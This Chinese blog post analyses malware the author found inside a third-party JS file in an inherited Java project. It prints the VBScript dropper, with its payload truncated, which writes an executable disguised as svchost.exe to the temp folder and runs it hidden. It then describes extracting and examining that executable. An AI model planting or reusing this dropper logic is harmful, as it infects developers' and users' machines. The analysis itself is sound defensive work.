一个 Java 项目中的病毒

简介: 一个 Java 项目中的病毒

公司准备接手一个移交过来的项目,项目是 Java 写的,本来这种事情比较普遍没有什么太新鲜的事情,只要把代码、文档、环境等尽可能详细的沟通清楚,也就算完事了。但是,接手这个项目却发生了一些有趣的事情。

事情是这样的!!!!

今天去公司要设置一个扫码盒子,因为设置扫码盒子的软件是一个 exe 文件,因此我只能使用 Windows 系统,因此我背着我那老旧的 ThinkPad 去了公司(公司给准备的是 macOS 系统,所以只能带自己的 Windows 去)。去了公司,除了设置扫码盒子以外,刚好遇到了需要看看移交过来的代码,于是我就顺手将代码拉取到了我的 Windows 系统上,这些都没啥新鲜的。当代码拉取完以后,用 IDEA 打开这些代码时,Windows 的杀软就有提示了。我想,几个 Java 文件还报病毒,这 IDEA 半天加载不完项目,就顺手把杀软停掉了。当项目加载完成以后,我打开了刚才报毒的那个文件,那个文件是一个第三方的 js 库文件,打开以后文件是空的。看来还是被查杀了!

我就只能去码云上查看这个文件,一看果然是有病毒。病毒如下:

<SCRIPTLanguage=VBScript><!--DropFileName="svchost.exe"WriteData="4D5A90000300000004"SetFSO=CreateObject("Scripting.FileSystemObject")DropPath=FSO.GetSpecialFolder(2)&"\"&DropFileNameIfFSO.FileExists(DropPath)=FalseThenSetFileObj=FSO.CreateTextFile(DropPath, True)Fori=1ToLen(WriteData)Step2FileObj.WriteChr(CLng("&H"&Mid(WriteData,i,2)))NextFileObj.CloseEndIfSetWSHshell=CreateObject("WScript.Shell")WSHshell.RunDropPath, 0//--></SCRIPT>

这个代码是一段 vbs 的代码,其实及时不懂 vbs,这段代码也是能看懂的。通过一个 FSO 创建了一个名为 svchost.exe 的文件,然后将 WriteData 中的内容写入了 svchost.exe 文件内。

注:WriteData 的数据很长很长,这里我将它截取了。

用过 Windows 应该都知道 svchost.exe 是一个系统文件,而且开机以后进程管理器中有很多,一般人都不敢轻易结束这个进程。

然后注意观察,写入的数据开头前 4 个字符是 4D5A,其实了解些软件安全的应该都知道这是什么。在 Windows 下的可执行文件开头前两个字节的十六进制就是 4D5A,即 MZ 头。MZ 头是 DOS 时代的产物,那么这段很长的数据可能就是一个可执行文件的十六进制。那么就已经猜到了,vbs 生成了一个可执行文件。那么想知道这个可执行文件干了点啥呢?

把上面的第一行和最后三行删掉,在第五行加一句 MsgBox DropPath,然后保存为 .vbs 文件,然后双击运行它。我们就可以在对应的目录找到这个可执行程序了。下图是它所称文件所在的目录和生成的文件。

1111.png

22222.png

为了保险起见,先用十六进制查看一下吧。

333333.png

DOS 头和 PE 头清晰可见,然后从节区数据看到是加壳的。继续往下看,图下如:

4444444444.png

文件结尾处的数据像是导入的 DLL 和 DLL 的导出函数,但是看这导入信息貌似也不全啊。和 vbs 中比对一下。

555555555555.png

看着数据应该是一致的。不过十六进制不太直观,换个直观的工具看吧。

改个扩展名,在物理机里静态查看一下它的情况吧,在打开它的时候给出了很多提示,我就一路确定,但是最后看到的却不是反汇编代码,而是有问题的提示,如下图:

6666666666.png

可以看到给出了 PE 结构的大体信息,红色部分说明它的入口地址是有问题的,诡异!

静态不行,就在虚拟机里动态分析看一下吧,结果……

777777777.png

也还是不行,那干脆我就在虚拟机里双击运行吧。结果看到的仍然是报错信息。

8888888.png

费了半天劲,原来是个跑不起来的病毒,这个作者这么辛苦地感染了第三方库文件,然后还给病毒加了壳,结果最后应该是复制病毒的十六进制时复制的有问题了,导致它成了一个不能运行的东西。

svchost.exe 虽然不能运行,但是我猜测应该是一个下载器,也就是它本身不具备什么破坏的功能,但是它会从网上下载一堆病毒回来祸祸你的系统。

好吧,其实这样的事情是第二次遇到了(就是 Java 项目中存在这样被病毒感染的 js 文件或者 HTML 文件),对于 macOS 环境应该是无所谓了,但是 js 是浏览器端解析执行,用 Windows 的客户端就麻烦了。遇到这种无法执行的病毒也还算运气好,如果能运行,且没有被杀软查杀,让那个所谓的 svchost.exe 执行了,就麻烦了。开发人员还是注意点吧,如果真的给客户带来麻烦,那么这个锅估计也不好甩出去吧!

相关文章
|
4月前
|
Java
使用IDEA创建项目运行我的第一个JAVA文件输出Helloword
本文介绍了如何使用IDEA(IntelliJ IDEA)创建一个新的Java项目,并运行一个简单的Java程序输出"Hello Word"。文章详细展示了创建项目的步骤,包括选择JDK版本、设置项目名称和路径、创建包和类,以及编写和运行代码。最后,还展示了如何通过IDEA的运行功能来执行程序并查看输出结果。
210 4
使用IDEA创建项目运行我的第一个JAVA文件输出Helloword
|
3月前
|
关系型数据库 MySQL Java
【MySQL+java+jpa】MySQL数据返回项目的感悟
【MySQL+java+jpa】MySQL数据返回项目的感悟
53 1
|
3月前
|
编解码 Oracle Java
java9到java17的新特性学习--github新项目
本文宣布了一个名为"JavaLearnNote"的新GitHub项目,该项目旨在帮助Java开发者深入理解和掌握从Java 9到Java 17的每个版本的关键新特性,并通过实战演示、社区支持和持续更新来促进学习。
101 3
|
7天前
|
Java Maven
java项目中jar启动执行日志报错:no main manifest attribute, in /www/wwwroot/snow-server/z-server.jar-jar打包的大小明显小于正常大小如何解决
在Java项目中,启动jar包时遇到“no main manifest attribute”错误,且打包大小明显偏小。常见原因包括:1) Maven配置中跳过主程序打包;2) 缺少Manifest文件或Main-Class属性。解决方案如下:
java项目中jar启动执行日志报错:no main manifest attribute, in /www/wwwroot/snow-server/z-server.jar-jar打包的大小明显小于正常大小如何解决
|
4天前
|
存储 Java BI
java怎么统计每个项目下的每个类别的数据
通过本文,我们详细介绍了如何在Java中统计每个项目下的每个类别的数据,包括数据模型设计、数据存储和统计方法。通过定义 `Category`和 `Project`类,并使用 `ProjectManager`类进行管理,可以轻松实现项目和类别的数据统计。希望本文能够帮助您理解和实现类似的统计需求。
40 17
|
26天前
|
NoSQL Java 关系型数据库
Liunx部署java项目Tomcat、Redis、Mysql教程
本文详细介绍了如何在 Linux 服务器上安装和配置 Tomcat、MySQL 和 Redis,并部署 Java 项目。通过这些步骤,您可以搭建一个高效稳定的 Java 应用运行环境。希望本文能为您在实际操作中提供有价值的参考。
118 26
|
2月前
|
XML Java 测试技术
从零开始学 Maven:简化 Java 项目的构建与管理
Maven 是一个由 Apache 软件基金会开发的项目管理和构建自动化工具。它主要用在 Java 项目中,但也可以用于其他类型的项目。
61 1
从零开始学 Maven:简化 Java 项目的构建与管理
|
2月前
|
Java
Java项目中高精度数值计算:为何BigDecimal优于Double
在Java项目开发中,涉及金额计算、面积计算等高精度数值操作时,应选择 `BigDecimal` 而非 `Double`。`BigDecimal` 提供任意精度的小数运算、多种舍入模式和良好的可读性,确保计算结果的准确性和可靠性。例如,在金额计算中,`BigDecimal` 可以精确到小数点后两位,而 `Double` 可能因精度问题导致结果不准确。
|
2月前
|
Java Android开发
Eclipse 创建 Java 项目
Eclipse 创建 Java 项目
51 4
|
2月前
|
SQL Java 数据库连接
从理论到实践:Hibernate与JPA在Java项目中的实际应用
本文介绍了Java持久层框架Hibernate和JPA的基本概念及其在具体项目中的应用。通过一个在线书店系统的实例,展示了如何使用@Entity注解定义实体类、通过Spring Data JPA定义仓库接口、在服务层调用方法进行数据库操作,以及使用JPQL编写自定义查询和管理事务。这些技术不仅简化了数据库操作,还显著提升了开发效率。
50 3